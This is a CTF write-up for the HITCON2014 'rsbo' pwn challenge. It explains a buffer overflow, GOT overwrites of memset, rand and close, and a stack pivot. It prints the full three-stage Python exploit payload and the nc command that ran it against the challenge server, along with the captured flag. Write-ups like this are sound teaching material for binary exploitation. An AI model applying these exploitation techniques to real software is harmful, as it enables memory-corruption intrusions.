HITCON2014 - rsbo (pwn150) - Or: How to make things complicated
Hi lads!
Lets relax for a second and think about classes of ctf exploits. An exploit is either working or not, what is normally all that counts during a ctf. Nevertheless, there are different kind of exploits: beautiful ones, ugly and rushed ones or special nifty ones, like the sha1lcode exploit by @esanfelix/int3pids, which bypasses the original challenge (compare to my sh1lcode writeup). Opposing to the last category, there are also abstruse exploits which are working and fulfilling their purpose, but are unnecessary complicated. This WriteUp tells the story of such an exploit.
So, if you want to see a more straight forward solution, move on for example to acez WriteUps. As short summary: The binary is exploitable via a trivial buffer overflow, stack pivoting and ROPing.
In short, the binary itself does the follwing: It reads 0x80 bytes in an 80 bytes buffer and shuffles the byte afterwards in a for-loop, based on a seed constructed by the flag and the localtime. Due to this obvious buffer overflow its possible to overwrite the variable determining the amount of runs of the for loop. (This variable would normally hold the amount of read bytes). However, overflowing and filling the buffer with a lot of zerobytes makes it likely that the variable holding the upper bound of the for loop gets swapped with a zerobyte. (Credits for this correction are going to cutz, thanks a lot!)
Overwriting/swapping this variable with zero is preventing that the rest of our data is shuffled at all, which allows us to overwrite saved ebp and saved eip with values under our control. The straight forward solution would now ROP a little bit in order pivot the stack to .bss and call the read_80_bytes() function in order to have a ROP stack with reasonable size for building a chain leading to the flag.
However, we are just tasteless and we did the things differently. We discovered a write-anything-anywhere condition, which unfortunately would hand back the control flow back to the program in the first place. In order to understand our exploit, we have to make clear in which order the different functions are called:
main
- _alarm
- init 1. _open 2. _read 3. _time 4. _close 5. _memset 6. _srand
- read_80_bytes 1. _read
- _rand
- _write
Function prefixed by an underscore are hereby libc functions and have to be resolved vie the Global Offset Table (got). The overflow itself happens in 3.1 but the according buffer itself is stored in the stackframe of main. Thus, we have ebp and eip under our control when the main function is executing leave; ret;.
We discovered, that (according to the program flow), the _read in 2.2 will read 0x10 bytes into ebp-0x24 - which is our write-anything-anywhere. However, as mentioned before, this would pass away the control flow which we just got by the overflow. As workaround, we decided to go for an got-overwrite, which relocates the function pointer of libc functions to a location of our choice. Thus, here the small overview how the got is arranged in the binary:
0x804a00c <read@got.plt>
0x804a010 <time@got.plt>
0x804a014 <alarm@got.plt>
0x804a018 <__gmon_start__@got.plt>
0x804a01c <open@got.plt>
0x804a020 <srand@got.plt>
0x804a024 <__libc_start_main@got.plt>
0x804a028 <write@got.plt>
0x804a02c <memset@got.plt>
0x804a030 <rand@got.plt
0x804a034 <close@got.plt>
Since we want to reuse open, read and write later on for outputting the flag, we were not allowed to overwrite one of those locations. Lastly, we decided to overwrite memset, rand and close. Since first close is called and then memset, we are overwriting close to go to a ret gadget and memset to read_80_bytes(). Summed up to now, this is the stage1 and stage2 code of our exploit:
stage1 = "\x00" * 0x60 + "AAAABBBB"
stage1 += struct.pack("<I", 0x804a02c+0x24) #memset@got+0x24
# read 0x10 bytes into ebp-0x24 (normally the flag)
stage1 += struct.pack("<I", 0x080485a7)
print stage1
print "A"* (0x80 - len(stage1)-2 )
stage2 = struct.pack("<I", 0x0804865c) #overwrite memset to point to read_80_bytes
stage2 += "JUNK" #this would be rand, but we dont need it
stage2 += struct.pack("<I", 0x0804865b) #overwrite memset to a ret; gadget
print stage2
So, the question is where are we reading to? Welp, this answer is simple: The address we used as target for the stage2 read will be reused, because normaly memset would set this buffer to zero. Since both memset and read_80_bytes are using the first argument as destination pointer, we are totally fine. Thus, we are starting to read into 0x0804a02c (memset@got). After reading our input bytes, the control flow is going back to the init function. However, due to the fact that our ebp is at 0x0804a050 (memset@got+0x24) from the stage1 payload, the leave;ret; of init() will result into returning to the address at 0x804a054. We can write to this address due to the read in our second stage, so we are back in control and have our custom stack frame in .bss! :)
Our Stage 3 payload must therefore do the following opening the flagfile, reading it and printing it to stdout. We reused large amount of chunks, since we can overwrite memset, rand and close in got, we can pass the controlflow back to us even without traditional gadget based ROPing.
So, what we are doing is returning to open@init with the address of the string “/home/rsbo/flag” on the stack. The program is then continuing and reads the first 16 byte of the flag to a location which we can control. We have overwritten close@got to point to write@main-15, which is the point where the saved buf location at esp+0x10 is loaded in order to provide it as input to write. Since we have the location where to read the flag bytes to under our control, this is realizable.
At this point, we had a running exploit and realized, that the flag is longer than 16 bytes. Damn. But, there is no problem without solution. Since immediately after the write main returns, we can just return to another address under our control. This time, we choose read@main and set up the rest of the stack with the predictable address for flagfile-fd, the location to read to and a random, but huge count for the amount of bytes read. Thus, our stage 3 payload looks like this:
stage3 = "JUNK"
#here we overwrite memset, rand and close again
stage3 += "BBBBCCC"
stage3 += struct.pack("<I", 0x0804871a) #overwrite close to write@init-15
stage3 += "A" * 24
stage3 += struct.pack("<I", 0x804a088) # will be ebp, controls where to read the flag to, we want it to be at esp+10 when write is called
stage3 += struct.pack("<I", 0x080485a2) #open@init - we will return to this point
stage3 += struct.pack("<I", 0x080487d0) #flagfile
stage3+="\x00\x00\x00\x00" #flags
stage3+= "A" * 40
#now we get the first 16 bytes of the flag. but the flag is longer, thus, we need to rerun once more to get the rest of the flag
#manipulate ebp again, so that ebp-0x14 holds the fd
stage3+= struct.pack("<I",0x804a074+0x14) #fd is saved from last run at 0x804a074
stage3+= struct.pack("<I", 0x080485b9) #read@main-6
stage3+= "JUNK" #gets overwritten with the fd
stage3+= struct.pack("<I",0x804a09c) # this time we want the flag to be written here
stage3+= struct.pack("<I",0x00000f0ff) #read tons of bytes
print stage3
And that’s it. Our crazy, overcomplicated exploit! It prints some garbage bytes from the memory as well, but this isnt a problem at all - it’s still good enough to recognize the flag:
[nsr@nsrtp hitcon]$ python2.7 sploit.py | nc 210.61.8.96 51342
HITCON{Y0ur randkeÛAAAAAAAAJUNKÿð
0m pay1oad s33ms w0rk, 1uckv 9uy}b
So, let’s sum it up: We got a 3staged, double got overwrite, large chunk reuse exploit - and this for a challenge which could’ve been solved straight forward. I hope you enjoyed reading this writeup and can laugh with us about the WTFness of the exploit. I assume, we went to this exploit because we discovered the write-anything-anywhere condition and just got stucked with this one due to the ctf stress.
nsr, together with immerse